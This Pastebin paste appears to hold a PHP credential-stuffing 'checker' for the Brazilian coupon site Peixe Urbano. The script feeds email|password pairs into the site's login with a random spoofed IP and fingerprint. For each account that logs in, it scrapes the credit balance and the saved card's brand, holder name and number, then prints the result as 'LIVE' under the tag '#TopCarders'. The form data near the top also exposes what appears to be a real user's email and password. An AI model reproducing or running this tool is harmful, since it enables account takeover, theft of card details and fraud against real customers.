SHARE
TWEET

refazendo curl peixe urbano

ph4x35ccb Nov 8th, 2019 (edited) 101 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*#form data do site*/
  2. ip=&fingerprint=ce7d6a522219485f2fceb53433fd1449&user_agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F78.0.3904.97+Safari%2F537.36&platform=Win32&landing_page_url=https%3A%2F%2Fwww.peixeurbano.com.br%2Flogin%3Fclickdate%3D2019-11-08&http_referer=https%3A%2F%2Fwww.peixeurbano.com.br%2Flogin&retURL=%2F&return_to=&email=indi-lorrana%40hotmail.com&password=300996
  3. /*######
  4. #meu codigo refazendo baseado no da api
  5. ###############################*/
  6. $b = $a->post('https://www.peixeurbano.com.br/login', 'ip=&fingerprint='.$fingerprint.'&user_agent='.$_SERVER['REMOTE_ADDR'].'6&platform=Win32&landing_page_url=https%3A%2F%2Fwww.peixeurbano.com.br%2Flogin%3Fclickdate%3D2019-11-08&http_referer=https%3A%2F%2Fwww.peixeurbano.com.br%2Flogin&retURL=%2F&return_to=&email='.$email.'&password='.$senha);
  7.  
  8. /*#codigo original que nao estava funcionando
  9. ####################################################*/
  10.     $b = $a->post('https://www.peixeurbano.com.br/login', 'retURL=https://www.peixeurbano.com.br/Conta/Creditos&email=' . $email . '&password=' . $senha . '&ip=' . $ip . '&client_id=6&fingerprint=' . $fingerprint . '&user_agent=' . $_SERVER['REMOTE_ADDR'] . '&platform=Win32');
  11.  
  12. /*#############################
  13. #codigo da api compreta
  14. ################################*/
  15. <?php
  16.  
  17. error_reporting(0);
  18.  
  19. set_time_limit(0);
  20.  
  21.  
  22.  
  23. class cURL {
  24.  
  25.  
  26.  
  27.     var $callback = false;
  28.  
  29.  
  30.  
  31.     function setCallback($func_name) {
  32.  
  33.         $this->callback = $func_name;
  34.  
  35.     }
  36.  
  37.  
  38.  
  39.     function doRequest($method, $url, $vars) {
  40.  
  41.         $ch = curl_init();
  42.  
  43.         curl_setopt($ch, CURLOPT_URL, $url);
  44.  
  45.         curl_setopt($ch, CURLOPT_HEADER, 0);
  46.  
  47.         curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  48.  
  49.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  50.  
  51.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  52.  
  53.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  54.  
  55.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  56.  
  57.         curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
  58.  
  59.         curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
  60.  
  61.         if ($method == 'POST') {
  62.  
  63.             curl_setopt($ch, CURLOPT_POST, 1);
  64.  
  65.             curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
  66.  
  67.         }
  68.  
  69.         $data = curl_exec($ch);
  70.  
  71.         curl_close($ch);
  72.  
  73.  
  74.  
  75.         if ($data) {
  76.  
  77.             if ($this->callback) {
  78.  
  79.                 $callback = $this->callback;
  80.  
  81.                 $this->callback = false;
  82.  
  83.                 return call_user_func($callback, $data);
  84.  
  85.             } else {
  86.  
  87.                 return $data;
  88.  
  89.             }
  90.  
  91.         } else {
  92.  
  93.             return curl_error($ch);
  94.  
  95.         }
  96.  
  97.     }
  98.  
  99.  
  100.  
  101.     function get($url) {
  102.  
  103.         return $this->doRequest('GET', $url, 'NULL');
  104.  
  105.     }
  106.  
  107.  
  108.  
  109.     function post($url, $vars) {
  110.  
  111.         return $this->doRequest('POST', $url, $vars);
  112.  
  113.     }
  114.  
  115.  
  116.  
  117. }
  118.  
  119.  
  120.  
  121. function GetStr($string, $start, $end) {
  122.  
  123.     $str = explode($start, $string);
  124.  
  125.     $str = explode($end, $str[1]);
  126.  
  127.     return $str[0];
  128.  
  129. }
  130.  
  131.  
  132.  
  133. $listass = explode("\r\n", $_POST['list']);
  134.  
  135. $listin = count($listass) * 2;
  136.  
  137.  
  138.  
  139.  
  140.  
  141. flush();
  142.  
  143. ob_flush();
  144.  
  145. $linha = $_GET["linha"];
  146. $email = explode("|", $linha)[0];
  147. $senha = explode("|", $linha)[1];
  148.  
  149. if (!empty($senha)) {
  150.  
  151.     $nums = '0123456789';
  152.  
  153.  
  154.  
  155.     $ip = mt_rand(111, 999) . '.';
  156.  
  157.     $ip .= mt_rand(111, 999) . '.';
  158.  
  159.     $ip .= mt_rand(111, 999) . '.';
  160.  
  161.     $ip .= mt_rand(111, 999);
  162.  
  163.     $fingerprint = sha1(uniqid());
  164.  
  165.     if (file_exists('cookie.txt')) {
  166.  
  167.         unlink('cookie.txt');
  168.  
  169.     }
  170.  
  171.     $a = new cURL;
  172.  
  173.     $b = $a->post('https://www.peixeurbano.com.br/login', 'ip=&fingerprint='.$fingerprint.'&user_agent='.$_SERVER['REMOTE_ADDR'].'6&platform=Win32&landing_page_url=https%3A%2F%2Fwww.peixeurbano.com.br%2Flogin%3Fclickdate%3D2019-11-08&http_referer=https%3A%2F%2Fwww.peixeurbano.com.br%2Flogin&retURL=%2F&return_to=&email='.$email.'&password='.$senha);
  174.  
  175.  
  176.     $b = $a->post('https://www.peixeurbano.com.br/login', 'retURL=https://www.peixeurbano.com.br/Conta/Creditos&email=' . $email . '&password=' . $senha . '&ip=' . $ip . '&client_id=6&fingerprint=' . $fingerprint . '&user_agent=' . $_SERVER['REMOTE_ADDR'] . '&platform=Win32');
  177.  
  178.     $b = utf8_encode($b);
  179.  
  180.  
  181.  
  182.     if (strpos($b, '<span id="total-credit-1" class="ST-value">')) {
  183.  
  184.         $credito = GetStr($b, '<span id="total-credit-1" class="ST-value">', '</span>');
  185.  
  186.         $c = $a->get('https://www.peixeurbano.com.br/Conta/CartaoCredito');
  187.  
  188.         $c = utf8_encode($c);
  189.  
  190.         if (strpos($c, '<td class="cc-brand">')) {
  191.  
  192.             $cc = GetStr($c, '<td class="cc-brand">', '</td>');
  193.  
  194.             $ccname = GetStr($c, '<td class="cc-holder-name">', '</td>');
  195.  
  196.             $creditso = GetStr($c, '<td class="cc-number">', '</td>');
  197.  
  198.             if ($cc == 'VISA'){
  199.  
  200.                 $cc = ' Visa';
  201.  
  202.             } else if ($cc == 'MasterCard'){
  203.  
  204.              $cc = ' MasterCard';
  205.  
  206.          } else if ($cc == 'AMEX'){
  207.  
  208.              $cc = ' Amex';
  209.  
  210.          } else if ($cc = 'Amex'){
  211.  
  212.             $cc = ' Amex';
  213.  
  214.          } else {
  215.  
  216.             $cc = $cc;
  217.  
  218.          }          
  219.  
  220.      } else {
  221.  
  222.         $cc = ' Cartao: Sem Cartao';
  223.  
  224.     }
  225.  
  226.     echo "LIVE → $email|$senha | Nome: $ccname | Saldo : $credito | Bandeira: $cc | Cartão: $creditso #TopCarders";
  227.  
  228.     flush();
  229.  
  230.     ob_flush();
  231.  
  232. } else {
  233.  
  234.     echo "DIE → $email|$senha";
  235.  
  236.     flush();
  237.  
  238.     ob_flush();
  239.  
  240. }
  241.  
  242. } else {
  243.  
  244.  echo "DIE → $email|$senha";
  245.  
  246. }
  247.  
  248. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top